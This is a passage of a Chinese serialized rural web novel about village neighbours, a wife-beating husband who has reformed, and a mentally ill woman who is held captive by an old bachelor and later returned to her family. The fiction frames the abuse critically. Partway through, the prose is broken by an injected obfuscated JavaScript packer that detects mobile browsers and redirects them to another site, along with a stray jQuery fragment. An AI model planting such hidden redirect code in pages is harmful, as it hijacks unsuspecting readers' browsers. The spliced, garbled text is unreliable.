暗自嘀咕道:“真是倒霉透顶,怎么会被一个哑巴泼了一身脏水?” 正当他甩动着衣袖,想要甩掉身上的水时,突然听到隔壁传来一个男人的声音:“哎呦,媳妇儿,你出来干啥啊?快回屋歇着吧,多休息休息呀!” 又听到了春风那清脆悦耳的声音:“今天太阳真好,我想出去晒晒太阳!” 栓子心中猛地一紧,仿佛被什么东西击中了一般,他的手不由自主地颤抖了一下,然后迅速地从郭美娟手中夺过毛巾,结结巴巴地说道:“那个……不好意思啊,我去里面擦一下!”话音未落,他便像一只受惊的兔子一样,径直冲进了院子里,然后像做贼了似的躲在了门后。 栓子表面上装作若无其事地擦拭着自己被水泼湿的衣袖,但实际上,他的眼睛却死死地盯着门外的一举一动。 不一会儿,春风缓缓地走了出来。她的步伐轻盈,手轻轻地抚在自己那尚未隆起的小腹,脸上洋溢着一种无法言喻的做母亲的喜悦。 而跟在春风身后的那个男人,看起来年纪比春风要大上不少。他的脸上挂着谄媚的笑容,对春风可谓是关怀备至,又是问她要不要吃点酸的,又是问她要不要喝点水,那副殷勤的模样让人看了有些不舒服。 就在这时,李万原恰巧路过李安硕家门口。他一眼就看到了站在门口的郭美娟,于是好奇地问道:“表妹,你站在门口干啥呢?” 郭美娟有些尴尬地看了看躲在门后的栓子,心中暗暗叫苦,都怪自己刚才泼水的时候不小心,这下可把人家给淋湿了。她心里暗下决心,下次泼水的时候,一定要更加小心才行! 李万原好奇地向前走了几步,好像看到了门后露出的那只脚,他伸长脖子,以为李安硕在门口捣鼓些啥呢! “安硕那小子在干啥呢!”他嘟囔着,心里暗自揣测。 郭美娟见状,刚想开口解释,李万原的目光却突然看到了门后的那个小伙子! 四目对视,那一瞬间,李万原愣住了——这个小伙子他不是李安硕! 而门后的栓子显然也被吓了一跳,他迅速往后退了一步,似乎生怕被春风发现自己的存在。 李万原的视线从栓子身上移开,转向郭美娟,疑惑地问道:“李安硕那小子不在家?” 郭美娟连忙摇头,脸色有些尴尬。 李万原见状,嘴角不由得泛起一丝笑容,他心里暗自琢磨:“这大白天的,表妹这是在家藏人了啊!想不到李安硕你小子也有今天!” 不过,他并没有多问,而是善解人意地对郭美娟说:“那我们去别处转转!放心,我不会说出去的。” 郭美娟却是一脸的莫名其妙,不知道李万原说的到底是什么意思! 李万原说罢,他立刻扶起董春风的手,温柔地说道:“咱们去那边晒太阳吧!那边风景好,你心情好,咱儿子也会好的!” 董春风微笑着点点头,顺从地跟着李万原朝远处走去。 眼看着董春风的身影渐行渐远,栓子这才小心翼翼地从门后走了出来。 他默默地将毛巾还给郭美娟,目光却始终停留在董春风离去的方向,眼神中流露出一种深深的眷恋和不舍……见春风好像过的确实也挺不错的!他的心似乎也放下了许多!只要春风开心就够了! 就在这个时候,李安硕回到了家。他一眼就看到了家门口站着一个陌生的男人,心中不禁涌起一丝好奇。 于是,他快步走到郭美娟身边,指着那个男人问道:“他是谁啊?” 郭美娟连忙摇头,似乎有些慌张。她指了指旁边的水盆,然后又做了一个泼水的动作,意思是说她不小心把水泼到了那个人身上。 李安硕见状,立刻明白了过来。他对郭美娟说道:“下次你可得小心点啊!”郭美娟连连点头,表示知道了。 接着,李安硕转身面向那个陌生男人,微笑着说道:“兄弟,真是不好意思啊,我媳妇儿不小心把水泼到你身上了。你看你这衣服都湿透了,要是不嫌弃的话,你先换上我的衣服吧。等你的衣服晾干了,再换回来就行。你就到我们家来,先喝杯姜茶暖暖胃吧!” 然而,让李安硕意想不到的是,那个男人竟然摇了摇头,并没有接受他的好意。相反,男人的目光越过李安硕,直直地落在了郭美娟身上,然后开口问道:“你是他的表妹?” 李安硕和郭美娟满脸狐疑地看着栓子,显然对他说出的话感到十分诧异。 栓子见状,连忙说道:“麻烦你转告你表哥,一定要善待春风,如果他敢对春风不好,我可不会善罢甘休,我会立刻就把她带走!” 李安硕闻言,心中愈发好奇,追问道:“那您到底是哪位啊?” 栓子稍作迟疑,似乎在思考该如何介绍自己。过了一会儿,他终于下定决心,说道:“我……我是她哥哥!” 李安硕恍然大悟,原来是万原的大舅哥啊!他连忙热情地邀请栓子进屋坐坐,说道:“哎呀,原来是大舅哥啊!快请进,来都来了,怎么能站在门口说话呢!还有你,美娟,你表哥家来客人了,你也不知道叫你表哥一声!” 郭美娟这才如梦初醒,急忙笑着对栓子比划着,让他进屋里喝茶! 李安硕接着对栓子说:“兄弟,你别客气,快进屋歇着吧,我这就去把万原叫回来!”说罢,他转身匆匆离去,显然是想要去通知李万原。 栓子听到要见他们,心里害怕极了,哪还敢停留,急忙说道:“我家里还有些急事,改日再来拜访!”说完,他转身匆匆离去,仿佛后面有什么可怕的东西在追赶他一样。 李安硕看着栓子远去的背影,不禁摇了摇头,自言自语道:“这人真是奇怪,来都来了,连门都不进,说两句话就走了,我怎么有些看不懂?” 第107章 一个疯女人的出现 时间过得很快,转眼间就到了傍晚。 李万原兴高采烈地拎着一条大鱼走进院子,对李安硕说:“嘿,这是我在水塘子里抓到的,可新鲜啦!春风最近害喜得厉害,闻不得腥味,所以我想让表妹帮忙把鱼炖了,咱们两家人一起尝尝!” 李安硕听了,突然想起白天栓子来过的事,连忙说道:“哦,对了,今天你大舅哥好像来过啊!” 李万原一脸狐疑地看着李安硕,问道:“你别逗我了,我大舅哥啥时候来过啊?我怎么不知道?” 李安硕一本正经地说:“就是白天啊,人家可是说了,要是你敢对人家妹子不好,人家可是会把妹子带走的!” 李万原一听,眉头紧紧皱了起来,有些担忧地说:“真的吗?那你怎么不叫我回来呢?” 李安硕有些无奈地解释道:“我本来是打算去叫你的,可你大舅哥突然说他有事情要忙,然后就急匆匆地走掉了!” 李万原听后,满脸狐疑地嘟囔着:“这可真是奇怪了啊!他平白无故地跑来跟我说这些,到底是啥意思呢?” 李安硕若有所思地猜测道:“会不会是因为人家听说了你之前打过何芊菊的事情,所以担心他妹妹会受到同样的对待呢?” 李万原顿时有些尴尬,连忙反驳道:“你……你怎么哪壶不开提哪壶啊!那都是多久以前的事情了,现在能一样吗?我现在对春风可是好得很呢,简直都快把她捧在手心里了!” 李安硕看着李万原那副认真的模样,不禁笑着说:“你好像确实跟以前不太一样了呢!这变化可真是够大的啊……” 李万原听到这话,心里美滋滋的,转头看向一旁的表妹,问道:“连你小子都看出来我不一样了,表妹你觉得呢?” 郭美娟嘴角含笑,轻轻点了点头,表示对李万原的话有所回应。 李安硕看着李万原,脸上露出一丝疑惑,开口说道:“你说你以前啊,怎么老是喜欢找人麻烦,还动不动就动手**呢?” 李万原挠了挠头,有些不好意思地笑了笑,解释道:“我娘说了,女人就该狠狠地打,只有把他们打怕了,他们才会乖乖听话!我娘还说,人就应该厉害一点,这样才不会被别人欺负!” 李安硕和郭美娟听着李万原的话,不约而同地叹了口气。也许正是因为万原的父亲去世得早,一个女人独自带着孩子生活,为了不被别人欺负,才不得不让自己和孩子都逐渐磨掉了原本的性格。 李万原似乎没有察觉到李安硕和郭美娟的叹息,他继续说道:“不过呢,我以前天天看着何芊菊那张苦瓜似的脸,他一看我就想躲着,真是越看越心烦!但是再看看现在,春风真的就像春天的微风一样,看着她我就觉得心里特别开心!” 李安硕无奈地摇了摇头,对李万原的话感到有些不解,追问道:“你既然不喜欢她,那当初为什么非要娶她呢?” 李万原一听,顿时瞪大了眼睛,显得有些生气,反驳道:“你……你这话是什么意思?难道你是在嫌弃我表妹吗?” 李安硕被李万原的反应吓了一跳,连忙解释道:“我可没有这个意思啊!” 李万原一脸无所谓地说道:“本来就是嘛,当初要不是我非要娶了何芊菊,那她本该就是你娶得人了!” 李安硕有些无奈地看着他,没好气地说:“你还想不想喝鱼汤了?我可告诉你啊,你再这么乱说,等下你表妹要是不开心了,可就不给你做鱼了,到时候咱们就都只能干瞪眼,啥也吃不上!” 李万原一听,赶忙转头看向正在厨房忙碌的表妹,脸上露出讨好的笑容:“喝喝喝,我嘴贱,以后绝对不说了!嘿嘿,反正她现在也不知道躲到哪儿去了,就算她再回来求我,我也绝对不会要她的!” 李安硕叹了口气,继续说道:“但是不管怎样,冬雪总归是你的女儿啊……” 李万原却不以为然地挥了挥手,打断了他的话:“一个丫头片子而已,有啥稀罕的?我想要的是儿子,等我儿子生出来,谁还会去关心那个丫头片子啊!” 正说着,一股浓郁的鱼汤香味从厨房里飘了出来,李安硕笑着说道:“鱼汤好像炖好了!”说着,便看到郭美娟盛了满满两大碗热气腾腾的鱼汤端了出来。 李万原见状,连忙迎上前去,嘴里不停地说着:“辛苦表妹了,这鱼汤闻起来可真香啊!”一边说着,他一边小心翼翼地端起两碗鱼汤,朝着家的方向走去。 随后又急匆匆地折返回来,只见他快步走进厨房,端起一盘菜窝窝,然后转身快步离去。 看着李万原离去的背影,李安硕不禁感叹道:“这李万原还真是跟以前不一样了啊!以前的他,可绝对不会自己去抓鱼回来的。” 郭美娟听了,连忙摆手,比划着解释道:“不是表哥不去抓鱼,而是姑姑不让他去。姑姑总说,她的儿子不需要做这些事情。” 李安硕听了,无奈地摇了摇头,叹息道:“哎!真是慈母多败儿啊!明天带我儿子一起去捉鱼,咱们也多捉点儿鱼回来吃!” 听到这话,孩子们顿时兴奋地拍起手来,一个个脸上都洋溢着开心的笑容。毕竟,有鱼吃对于他们来说,也是一件非常令人高兴的事情呢! 今年的天气异常炎热,仿佛大地都被烤焦了一般。已经有一两个月没有下过一滴雨了,地里的庄稼在烈日的暴晒下,叶子都无精打采地耷拉着,仿佛在向人们诉说着它们的痛苦和无奈。 秀兰看着这片枯黄的土地,心中不禁涌起一股伤神之情。她想起了自己的家乡,曾经也是因为长时间的干旱,没有雨水的滋润,导致庄稼颗粒无收,人们不得不面临饥饿的困境。 秀兰的心情愈发沉重,她担心这种情况会再次发生。她无法想象,如果没有足够的粮食,她和家人该如何生存下去。而且,现在她已经成为了一名母亲,她不能让自己的孩子也经历那样的苦难。 秀兰暗暗告诉自己,无论再苦再难,她都要坚强地挺过去,决不能像她的父母那样,因为生活的压力而卖掉自己的孩子。 就在秀兰忧心忡忡的时候,一个好消息传来。杜秋丽出嫁后的第二天,唐小雨就生下了她和文孝的第二个儿子。文孝给这个孩子取名为李佳民,希望将来能够成为一个善良、正直的人。 秀兰满心欢喜,因为这段时间她亲手做了许多小巧可爱的小衣服、虎头鞋和虎头帽。这些精致的衣物都是她为即将到来的新生命准备的礼物,如今正好可以挑两件送过去。 然而,正当秀兰准备动身时,杏花却突然拦住了她。秀兰有些诧异,不明白杏花为何要阻止自己。 “哎呀,你这有喜的身子可不能去呀!”杏花一脸严肃地说道。 秀兰感到十分困惑,她不理解为什么有身孕就不能去探望小雨。“这有什么能去不能去的呢?我只是去看她一眼,马上就回来。”秀兰解释道。 杏花连忙摆手:“你还是别去了,让我把东西捎过去吧。等她满月之后,你们再见面也不迟。” 秀兰越发不解,追问道:“这到底是为啥啊?” 杏花叹了口气,耐心地解释道:“你们年轻人啊,就是不懂这些老规矩。这‘冲喜’了,是不吉利的!” 秀兰瞪大了眼睛,“冲喜?”这个词对她来说有些陌生。 杏花一脸严肃地解释道:“就是喜事和喜事之间相冲了,我也是听老一辈儿讲的。这其中的道理我也说不清楚,但就是有这么个说法,说是你去了,孩子会抢奶,她家孩子就没奶吃了!而且对你这肚子里的也不吉利!” 秀兰满脸狐疑地追问:“这又是什么说法啊?” 杏花连忙摆手道:“哎呀,反正就是不能去,就是不能去!这可是老祖宗传下来的规矩,咱们可不能坏了规矩!有产妇的人家,就是那来月事了的人都不能进屋探望呢!” 秀兰还是有些不解:“以前咋没听您讲这些呢?” 杏花白了她一眼,没好气地说:“你生咱传业的那时候,人家小雨可也是避开了那时间才来看你的!这还用我说嘛!” 秀兰微笑着说道:“哦,那我就先不过去啦,等晚些时候再去看她也无妨的!”话音未落,她便顺手将早已准备好的物品递到了杏花的手中。 杏花见状,连忙说道:“你呀,就安心在屋里歇息吧,我去去就回啦!”说罢,杏花转身迈步,朝着门外走去。 然而,就在杏花前脚踏出院子没多久,门口突然闪过一个身影。秀兰定睛一看,原来是一个看似有些痴傻的女人正从门前缓缓走过。那女人脸上挂着一抹怪异的笑容,直勾勾地盯着秀兰看,嘴里还不时发出一阵傻笑。 秀兰心头一紧,一股莫名的恐惧涌上心头。她暗自思忖:“这女人看着不太对劲啊,万一她是个精神失常的疯子,突然冲上来咬人可如何是好?”想到这里,秀兰不敢有丝毫迟疑,急忙伸手关上了门,仿佛这样就能将那恐怖的女人隔绝在门外。 待门扉紧闭,秀兰的心跳才稍稍平复了一些。她透过门缝,眼睁睁地看着那个痴傻的女人渐行渐远。 在如此炎热的天气里,人们都身着轻薄的衣物,然而这个女人却显得格格不入。她竟然穿着一件厚重的大花棉袄,仿佛完全感受不到酷热的侵袭。她的头发凌乱不堪,还夹杂着些许污垢,看起来已经很久没有打理过了。不仅如此,她的鞋子也早已破烂不堪,仿佛经历了漫长的旅途。 这个女人的出现引起了村民们的注意,尤其是那些女人们,她们急忙呼喊着自己的孩子们回家,警告他们不要靠近这个女人,以免被疯子攻击。孩子们虽然好奇,但也被大人们的紧张情绪所感染,纷纷跑回了家。 相比之下,村里的有些男人们则显得更为淡定一些。他们站在不远处,远远地观望着这个突然闯入的女人,似乎对她的存在充满了好奇。 当人们试图与这个女人交流时,却发现她完全无法正常沟通。无论别人问她什么,她只会发出嘿嘿的傻笑声,让人摸不着头脑。 吴桂华注意到这个女人的异常后,意识到她可能是个疯子。由于无法与她沟通,吴桂华决定拿起扫把,驱赶这个女人离开自己的家门口,以免她继续坐在那里惹人厌烦。 有一个男人笑着对吴桂华说:“吴桂华啊,你看看这妹子,肯定是觉得你一个人太孤单了,所以特意跑到你家来,想要跟你做个伴儿呢!你可倒好,人家这么好心,你居然还不领情!” 吴桂华听了这话,心里很是不爽,他嘴里骂骂咧咧地说道:“去去去!你少在这里胡说八道!有本事你把她带回家去,跟你老婆一起做伴儿去啊!” 那个男人一听,连忙摆手,笑着说:“我可不敢啊!我老婆可凶了,要是我带回家,她肯定得跟我闹翻天!不过,要是你去的话,那应该还差不多,哈哈哈!” 吴桂华听了这话,顿时火冒三丈,他指着那个男人的鼻子骂道:“你再敢胡说八道,信不信老娘撕烂你的嘴!” 那个男人见吴桂华真的生气了,连忙赔笑道:“哎呀,别生气嘛!我就是跟你开个玩笑而已,你可别往心里去啊!” 吴桂华根本不想再跟这群人纠缠下去,他觉得这些人简直就是无聊透顶。她看了那个傻女人一眼,也懒得再搭理那群人,转身“砰”的一声关上了门,进了屋里。 而那个傻女人呢,则站在原地,对着村里的那几个男人傻乎乎地笑个不停。 其中一个人笑着说道:“虽然这女人傻了点,但好歹也是个女人啊!对于那些老光棍儿来说,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203410|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女人总比没有强多啦!” 其他几人也纷纷附和,一时间笑声四起。而那个傻女人似乎并不明白他们在说什么,只是跟着一起傻笑。 就在这时,村里最穷的老光棍儿老保也闻讯赶来凑热闹。 他还没走到近前,就听到有人高声喊道:“老保,快过来呀!我们可给你找了个媳妇儿呢!” 老保他今年已经五十五岁了,家里一贫如洗,一直都是孤身一人,连个老婆都没有娶过。虽然他常常幻想自己哪天要是突然有钱了,一定要娶个十八岁的年轻漂亮女人,但那毕竟只是个遥不可及的梦罢了。 当老保看到那个傻里傻气的女人时,他的脸“唰”的一下就红了,连忙摆手道:“哎呀,这哪儿来的傻子啊?!” 几人纷纷调侃:“老保,你这人可真是,我要是没媳妇儿我肯定就要了,又不花一分钱,说不定明年还能给你生个大胖小子!” “就是啊,老保!这可是千载难逢的好机会啊!错过了这个村,可就真的没有这个店了!” “老保啊,你还在做着你那娶18岁大闺女的美梦呢?别想啦!现实点吧,你看看这个女人,虽然有点脏,但是带回去收拾收拾还是挺不错的嘛!晚上你不就有个暖和的被窝了吗?多好啊!” “老保,这可是天上掉馅饼的大好事儿啊!你要是不要,等会儿可能就被别的村的光棍儿给带走啦!到时候你后悔都来不及呢!” “老保,我这里有个窝头,你给她吃了,说不定她就心甘情愿地跟你回家了呢!”说着还真贴心的递了个窝头过来! 老保伸手接过那个窝头,他凝视着那个女人,只见她一直傻傻地笑着,嘴角微微上扬,露出一排洁白的牙齿。她的目光紧紧锁定在老保手中的窝头上,仿佛那是世界上最诱人的东西。 “老保,你倒是快点去啊,我们都替你着急呢!”一旁的人催促道。 老保有些犹豫,但看到那女人的眼神,他终于下定决心。 他缓缓地掰下一半窝头,然后伸出手去,轻声问道:“你要不要吃?” 话音未落,那个女人迅速地冲过来,一把夺过老保手中的窝头,毫不犹豫地塞进嘴里。她的动作如此之快,让人猝不及防。 只见她三口两口就把那半个窝头吞下了肚,甚至连咀嚼都显得有些匆忙。 然而,尽管已经吃完了窝头,她的目光依然没有离开老保,还是那样傻傻地盯着他,脸上洋溢着傻傻的笑容。 老保见状,心中不禁一动。他想,这个女人或许真的是饿坏了,才会如此迫不及待地吃掉那半个窝头。于是,他鼓起勇气,对女人说道:“你要是愿意跟我回家,这窝头就给你吃。” 那女人一脸傻笑,像个孩子一样不停地点着头,仿佛完全没有意识到周围人的目光和议论。令人惊讶的是,她竟然真的就这样跟着老保走了,没有丝毫的犹豫或反抗。 这一幕让一群人在背后笑得前仰后合,他们纷纷调侃道:“真没想到啊,咱们村里的老光棍儿老保居然也能有媳妇儿啦!”这个消息就像长了翅膀一样,迅速在村子里传播开来。 没过多久,整个村子都知道了老保有了个媳妇儿的事情。人们对这个突如其来的消息充满了好奇和猜测,各种版本的传闻也开始在村里流传。 中午,日头正盛,杏花从文孝家走了出来。她刚好碰到吴桂华和王小凤几个人聚在一起,正热火朝天地议论着这件事。 杏花好奇地走上前去,问道:“我刚听你们在说谁家的媳妇儿呢?” 吴桂华见状,连忙笑着回答:“哎呀,你咋还不知道呢?晚上村里突然来了个疯女人,问她啥都不吭声,就知道傻笑!结果被那个老光棍儿老保给带回家当媳妇去啦!” 王小凤兴高采烈地说道:“那不也算是个喜事嘛!要不咱们一块儿去瞅瞅,看看那女的长得俊不俊!” 其他几个女人听了,也都纷纷附和,嘻嘻哈哈地笑成一团。于是,这几个女人便真的一同前往老保家,一路上有说有笑,好不热闹。 到了老保家门口,王小凤上前用力敲了敲门,扯着嗓子喊了好几声,却始终没有人应答。她不禁纳闷道:“居然没人!这老保好不容易讨了个媳妇,他能上哪儿去呢?” 一旁的吴桂华笑嘻嘻地插嘴道:“该不会是正跟新媳妇亲热呢吧!”话音刚落,众人又是一阵哄笑。 这时,杏花突然说道:“算啦,我还是回家去吧!”说着,她转身就要走。 吴桂华眼疾手快,一把拉住杏花,嗔怪道:“走啥走啊,咱们不是说好了一起过来看看的嘛,你咋能自己一个人先走呢!” 就在这时候,一个胖大嫂恰巧路过,听到她们的对话,便笑着说道:“你们找老保啊,他出门去啦!” 几个女人闻言,都面露疑惑之色,吴桂华问道:“那老保得了个媳妇,咋还出去了呢?” 胖大嫂一脸兴奋地对杏花和吴桂华说:“你们俩也想进去瞅瞅不?反正那老保这会儿不在家,咱们自己个儿进去瞧一眼,也没啥大不了的吧!” 杏花有些犹豫,皱起眉头说道:“这样恐怕不太好吧,万一老保回来发现咱们就这样进去,会不会不高兴啊?” 吴桂华却不以为然,她摆了摆手,笑着说:“哎呀,杏花,你别担心啦!老保那么穷个老光棍儿,家里能有啥值钱的东西?他能有啥意见呢?咱们来这儿,不也是想给他家添点人气儿,让他家里也热闹热闹嘛!说起来,这也算是件喜事呢!” 令人意想不到的是,吴桂华就那么轻轻一推就推开了那扇门,那扇门根本没有上锁。 然而,当他们推开这扇门后,眼前的景象却让他们瞠目结舌——堂屋里居然满地铺的都是被子! 第108章 失踪了! 那被子里面,一个女人缓缓地探出了头,她的脸上还是露着着一种傻傻的笑容,仿佛对周围的一切都漠不关心。 王小凤见状,不禁惊讶地叫道:“哎呦,这姑娘看起来年纪挺轻的呢,老保这可真是捡到宝啦!” 杏花也凑上前去,好奇地问:“姑娘,你叫个啥名字啊?” 然而,那被窝里的女人只是一味地缩着身子,嘴里不停地发出嘿嘿的笑声,似乎完全没有听懂杏花的问题。 吴桂华在一旁看着,有些无奈地说:“哎呀,这就是个傻子,你问她再多,她啥也不知道,啥也不明白,问了也是白问!” 接着,吴桂华又埋怨起老保来:“这老保也真是的,再着急也不用把被窝都给搬到堂屋里来了?” 说着,她伸手去拉那床被子,想要看个究竟。当她把被子完全拉开时,突然发出了一声惊叫:“哎呀妈呀,这……” 说着,他又轻轻地将被子小心翼翼地盖在了女人身上。然而,就在刚才那一瞬间,几个人都感到震惊——原来,那女人此时此刻外衣都被脱了去,整个人蜷缩在被窝里!更让人惊愕的是,她的脚脖上还紧紧地绑着一根绳子! 这突如其来的发现让在场的几个女人都惊愕不已,她们面面相觑,一时间不知所措。 紧接着,她们像是被一股无形的力量驱赶着一般,迅速从屋里冲了出来,仿佛逃离什么可怕的场景一样。出门时,她们匆匆忙忙地随手关上了房门,似乎想要将那诡异的一幕永远封锁在屋内。 就在这时,老保恰好从外面走了回来。他看到这几个女人神色慌张地从屋里出来,不禁问道:“你们来我家干啥?” 吴桂华见状,气不打一处来,她瞪大眼睛,毫不客气地指责道:“你这个老不正经的东西!你看看你干的那叫什么人事儿?你怎么还那样绑着人呢?好歹你也给人家穿件像样的衣裳啊!” 老保听了吴桂华的责备,不仅没有丝毫的愧疚之意,反而得意洋洋地对几个女人说:“万一哪天她再跑掉了怎么办?我把她那衣服锁在我的柜子里面了,这样她就跑不掉啦!” 杏花和其他几个女人看到老保这副模样,都觉得十分尴尬。毕竟老保也是村里的老人了,而且他现在的行为确实有些不太好。 几个女人也不好意思再继续待下去,便纷纷找了个借口,各自回家去了。 回家的路上,几个女人边走边骂着那个老保,言语之中充满了愤怒和不满。 “真是太不是个东西了!”其中一个女人愤愤不平地说道。 “就是啊,怎么能这么对人家呢?”另一个女人附和着。 “我看他就是活该一辈子光棍儿!”第三个女人也加入了声讨的行列。 巧的是,第二天老保干完一天的农活回到家,却发现那个傻子女人她不见了! 他焦急地四处寻找,把整个村子都问了个遍,可还是没有找到她的身影。 老保心急如焚,四处打听女人的下落,然而得到的回答都是一样的:没有人见过她。 无奈之下,老保打开了自己的箱子,如今的家里,除了这几件衣服,已经没有了那个女人的身影,一切都显得那么冷清和孤寂。 女人失踪的消息像长了翅膀一样,迅速传遍了整个村子。一群女人又围在一起,议论纷纷。 “我就说嘛,肯定是那个老保,那样对待一个女人,人家怎么受得了啊!”一个女人笃定地说道。 “就是啊,太过分了!”其他女人纷纷表示赞同。 “那一个傻女人,能跑到哪里去呢?”有人担忧地说。 “谁知道呢,也许她早就离开了村子,跑到别的地方了也说不定。”另一个人猜测道。 “他又不锁个门,那人家要走不也是轻轻松松的事情嘛!”其中一个女人说道。 “昨天不是还看到那脚脖上绑了绳子的嘛!那是怎么跑出去的?”另一个女人满脸狐疑地追问。 “会不会是被旁人带走的?”有个女人猜测道。 “谁还会惦记一个傻子,能去他家里把一个傻子偷走不成?”那女人捂着嘴笑道。 “那你说,那傻子总不能就那个样子跑了吧?”有个女人提出疑问。 这几个女人你一言我一语地议论着,谁也不知道这个女人为什么会突然消失。她到底是怎么跑掉的呢?这成了一个让人百思不得其解的谜团,大家都摸不着头脑,实在想不明白到底是怎么回事。 老保突然成为了众人茶余饭后的谈资,这件事在村子里引起了轩然大波。人们纷纷议论着老保的种种行为和他家里的那个疯女人,一时间,老保的事儿成了大家口中的热门话题。 就在这个夜晚,当傍晚降临,整个村庄都被宁静所笼罩的时候,院子里的狗突然开始对着那堆稻草不停地狂吠。杏花被这突如其来的狗叫声吓了一跳,她好奇地走出门外探着头前去张望。 杏花隐约看到一个人影在稻草堆旁边晃动。她的心跳猛地加快,一股恐惧涌上心头。当她定睛一看,才发现那个人影竟然是老保家的那个疯女人! 那个女人依然像往常一样,傻笑着,嘴里还不停地嘟囔着一些让人听不懂的话。她似乎是饿了,正拼命地往嘴巴里塞着稻草。 杏花本来并不想多管闲事,毕竟老保家的事情与她无关。然而,当她看到那个疯女人如此可怜的模样时,心中的怜悯之情油然而生。她急忙对着那个女人喊道:“哎呀,那个不能吃!” 听到杏花的声音,那个傻女人像是受到了惊吓,脸上露出惊恐的表情,身体也不由自主地往稻草堆里缩了一下。 杏花见状,心中有些不忍。她环顾四周,发现周围并没有其他人。于是,她决定帮助这个可怜的女人。她轻声说道:“走吧,我给你拿点儿吃的。” 说完,他便毫不犹豫地拉着那个女人走进了屋子。一进屋,秀兰就被眼前的情景吓了一跳,她瞪大眼睛,满脸惊愕地看着那个女人,声音略微有些颤抖地对杏花说道:“娘,您怎么把她给带进来了?” 杏花似乎对秀兰的反应感到有些意外,她皱起眉头,疑惑地问道:“怎么了?你见过她吗?” 秀兰点点头,有些迟疑地回答道:“嗯,见倒是见过一面,但就是感觉她好像有点不太正常……” 就在这时,那个女人突然像饿极了一样,在桌子上胡乱地扒拉着食物,然后不停地往嘴里塞着。她的吃相十分难看,让人看了不禁心生怜悯。 杏花见状,无奈地叹了口气,说道:“哎,就算她是个傻子,可毕竟看起来还挺年轻的,应该也还有父母在世吧。怎么能让老保那种人如此糟践呢!” 秀兰的目光落在那个女人身上,只见她的头发乱蓬蓬的,像一团杂草一样,遮住了大半张脸。秀兰犹豫了一下,还是鼓起勇气开口问道:“你知道你家在哪里吗?” 然而,那个女人并没有回答秀兰的问题,而是突然停下了手中的动作,脸上的表情变得十分悲伤,嘴里喃喃地说道:“家里有荷花……我不要回家……” 秀兰一脸疑惑地问道:“荷花?咱们这片儿哪有荷花啊……” 杏花连忙解释道:“有呢,我知道,咱们这边只有徐家坡那个地方种藕!” 秀兰接着问道:“那娘的意思是……” 杏花稍稍迟疑了一下,然后说道:“要不然等下趁着天黑,我带她去徐家坡问问看,你一个人把门关好,不用管我!” 秀兰有些担心地说:“这天都要黑了,你一个人带她出去不**全吧……要我说,咱们不管她不就好了!” 杏花叹了口气,说道:“哎,这不是知道了她可能来自徐家坡嘛,那总不能眼睁睁地看着她在外面流浪吧!万一她有父母在,女儿丢了,那得多着急啊?” 秀兰想了想,觉得杏花说得也有道理,于是提议道:“那要不然,叫传家起来陪你一块儿去!这样好歹有个伴儿!” 杏花点点头,表示赞同:“这样倒也行!” 传家突然被秀兰叫出来,他满脸疑惑地问道:“娘,叫我出来干啥啊?” 秀兰一脸严肃地看着传家,轻声说道:“别问那么多,快过来,陪你奶奶去趟徐家坡。记住,今天晚上的事儿绝对不能对外说,知道吗?” 传家虽然心里充满了疑问,但看到母亲如此郑重其事,也不敢多问。 传家一边穿上外套,一边嘟囔着:“为什么不能说啊?” 杏花瞪了他一眼,呵斥道:“小孩子家家的,哪儿来那么多为什么!听**话就对了!”传家不再吭声。 杏花又带着那个女人进了屋子。赶忙找了一套自己的衣服给那女的换上,然后又细心地帮她梳了头发,擦了擦脸。 经过一番收拾,眼前的女人焕然一新,不过二十七八岁的年纪,虽然略显憔悴,但收拾干净以后,倒也有几分姿色。 传家站在一旁,好奇地望着这个陌生的女人,忍不住开口问道:“娘,这又是谁啊?” 杏花没好气地回答道:“这孩子,哪儿来那么多话!” 传家更加纳闷了,他挠了挠头,嘴里嘟囔着:“我怎么连问都不能问下了……” 趁着夜色降临,祖孙二人带着那个女子,手提一盏油灯,缓缓踏上了去徐家坡的路。一路上,月光如水,洒在他们身上,照出几个人的影子。 当他们快到徐家坡的时候。这里,大片大片的荷塘宛如绿色的海洋,荷叶田田,荷花点点,微风拂过,送来阵阵清香,令人心旷神怡。 传家不禁感叹道:“这里真美啊!好香啊!”他陶醉在这美景之中,仿佛忘记了一切烦恼。 就在这时,一阵呼喊声打破了宁静。传家定睛一看,只见不远处有几个人影正朝着他们走来。而那个女子却突然像只受惊的兔子一样,躲到了杏花的身后,似乎生怕被人发现。 那几个人也看到了杏花等人,其中一个男子高声喊道:“娘,妹妹在这儿呢!” 随着男子的呼喊,一个年长些的妇人快步走了过来。她满脸焦急,见到女子后,长舒了一口气:“闺女儿,你又跑哪儿去了,可急死娘了!我可总算是找着你了!” 然而,令人意外的是,那女子似乎对回家这件事并不热衷,甚至表现出明显的不情愿。只见她紧紧地抓住杏花的衣角,头也深深地低着,完全不敢正视任何人,更别提说一句话了。 一旁的妇人见到这一幕,心中焦急万分,但还是赶忙对杏花和传家表示感谢:“真是太感谢你们两位了!要不是你们把我女儿送回来,我都不知道该怎么办才好。这只是我的一点心意,还望你们不要嫌弃,一定要收下啊!”说话间,妇人迅速从怀中掏出两张钞票,毫不犹豫地递到了杏花面前。 面对妇人的好意,杏花却有些不知所措,她连忙摆手,一脸诚恳地推辞道:“这可使不得啊!我们也只是听她说家里有荷花,所以想过来问下看是不是这边的,怎么能收您的钱呢?您这闺女以后可千万要照看好了,别让她一个人往外跑了,多危险啊!” 就在这时,一直沉默不语的男子突然插话道:“娘,还不是因为你!要不是你非要逼着妹妹,妹妹怎么会变成这样?现在好了,人都疯了!”他的话语中透露出对母亲的不满和责备。 杏花满脸狐疑地问道:“她是怎么变成这样的呢?” 妇人长叹一口气,缓缓开口道:“哎,这可真是造孽啊!不怕你笑话,我就这么一个儿子和一个女儿,美月可是我含在嘴里怕化了、捧在手心怕掉了的宝贝疙瘩。可是谁能想到呢, 